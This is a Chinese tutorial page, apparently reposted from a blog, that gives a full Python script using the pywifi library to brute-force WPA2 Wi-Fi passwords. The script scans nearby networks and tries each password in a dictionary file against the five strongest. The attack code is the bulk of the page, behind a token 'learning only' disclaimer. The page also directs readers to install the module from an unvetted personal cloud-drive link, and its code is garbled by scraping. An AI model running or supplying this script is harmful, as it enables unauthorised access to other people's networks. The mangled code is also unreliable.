python生成密码字典教程(Python利用字典破解WIFI密码的方法)
类别:脚本大全 浏览量:2520
时间:2022-01-18 01:05:50 python生成密码字典教程
Python利用字典破解WIFI密码的方法最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5
既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。
有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。
链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg
本地安装方法:
1)下载解压好以后,我们用cmd命令行,进入到你的文件目录
2)使用命令pip install . 注意了(install后面有个点)
3)然后就会安装了,等一会就可以了。
程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。
|
import pywifi from pywifi import const #引用一些定义 import time namelist = [] ssidlist = [] result = [] #存放查询到的WIFI,密码 wificount = 5 #查询附近信号最强的5个WIFI,最多5个 def getwifi(): wifi = pywifi.PyWiFi() #抓取网卡接口 ifaces = wifi.interfaces()[ 0 ] #获取网卡 ifaces.scan() time.sleep( 8 ) bessis = ifaces.scan_results() list = [] for data in bessis: if (data.ssid not in namelist): #去掉重复的WIFI名称 namelist.append(data.ssid) list .append((data.ssid, data.signal)) sorted ( list , key = lambda st: st[ 1 ], reverse = True ) time.sleep( 1 ) n = 0 if len ( list ) is not 0 : for item in list : if (item[ 0 ] not in ssidlist): n = n + 1 if n< = wificount: ssidlist.append(item[ 0 ]) print (ssidlist) def testwifi(ssidname,password): wifi = pywifi.PyWiFi() #抓取网卡接口 ifaces = wifi.interfaces()[ 0 ] #获取网卡 ifaces.disconnect() #断开无限网卡连接 profile = pywifi.Profile() #创建wifi连接文件 profile.ssid = ssidname #定义wifissid profile.auth = const.AUTH_ALG_OPEN #网卡的开放 profile.akm.append(const.AKM_TYPE_WPA2PSK) #wifi加密算法 profile.cipher = const.CIPHER_TYPE_CCMP ##加密单元 profile.key = password #wifi密码 ifaces.remove_all_network_profiles() #删除其他所有配置文件 tmp_profile = ifaces.add_network_profile(profile) #加载配置文件 ifaces.connect(tmp_profile) #连接wifi time.sleep( 5 ) #5秒内能否连接上 if ifaces.status() = = const.IFACE_CONNECTED: return True else : #print("[-]WiFi connection failure!") return False #ifaces.disconnect()#断开连接 #time.sleep(1) return True def main(): getwifi() #ssidlist = ['Oun'] #如果知道WIFI直接写就行了。 if ( len (ssidlist) is not 0 ): path = r "password.txt" files = open (path, 'r' ) while True : if ( len (ssidlist) is 0 ): break try : password = files.readline() password = password.strip( '\n' ) if not password: break for item in result: #把已经找到密码的WIFI从查询中删除。 ssidlist.remove(item[ 0 ]) for ssidname in ssidlist: if (testwifi(ssidname,password) = = True ): result.append((ssidname,password)) #把找到的WIFI密码保存起来 print ( 'Succ' , 'Current WifiName:' ,ssidname, 'Current Password:' ,password) else : print ( 'Fail' , 'Current WifiName:' ,ssidname, 'Current Password:' ,password) except : continue files.close() print ( "\n" , "WIFI结果列表:" ) for item in result: #把已经找到密码的WIFI从查询中删除。 print ("") print ( "无线:" ,item[ 0 ]) print ( "密码:" ,item[ 1 ]) else : print ( "没有找到WIFI信号,请重试。" ) if __name__ = = '__main__' : main() |
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对开心学习网的支持。如果你想了解更多相关内容请查看下面相关链接
原文链接:https://blog.csdn.net/wujinmei/article/details/81288212
您可能感兴趣
- python 绕过密码(一小段Python代码,破解加密zip文件的密码)
- navicat注册和激活码(Navicat12.1系列破解激活教程亲测有效)
- 宝塔linux面板安装(宝塔Linux控制面板专业版破解步骤亲测可用)
- python改变字体颜色指令(使用Python自动化破解自定义字体混淆信息的方法实例)
- python排列组合计算方法(Python实现的排列组合、破解密码算法示例)
- python生成密码字典教程(Python利用字典破解WIFI密码的方法)
- 盘点那些年让人称奇的年终奖 最后一个赢辣条毫无悬念(盘点那些年让人称奇的年终奖)
- 你还没有升职吗 他竟因为几套激励理论,升职了(你还没有升职吗)
- 某知名企业绩效管理体系及薪酬分配体系操作手册(某知名企业绩效管理体系及薪酬分配体系操作手册)
- 职场人改不掉这4个习惯,只会越混越穷,一辈子也翻不了身(职场人改不掉这4个习惯)
- 华为 联想等46家公司笔试面试题,涉及各行各业,建议收藏(联想等46家公司笔试面试题)
- ()
热门推荐
- wxpython控件如何移动(基于wxPython的GUI实现输入对话框1)
- docker中如何使用nginx(docker nginx实现一个主机部署多个站点操作)
- html5 设置缓存(HTML5实现应用程序缓存Application Cache)
- dedecms怎样快速找到图片位置(dede搬家后路径变化批量替换图片路径避免图片不能正常显示)
- dedecms怎么设置下拉菜单(织梦DedeCMS实现 三级栏目_二级栏目_一级栏目_网站名称 的效果代码)
- javascript如何实现异步任务(JavaScript 中如何实现并发控制)
- css清除浮动
- ftp文件管理工具(ftp服务器PDF文件在线查看的实现方法)
- dedecms标签路径修改问题(解决织梦DEDE5.7 tags系列bug图解步骤)
- sql语句无效数字(SQL中写入包含有英文单引号“ '' ”失败问题深入详解)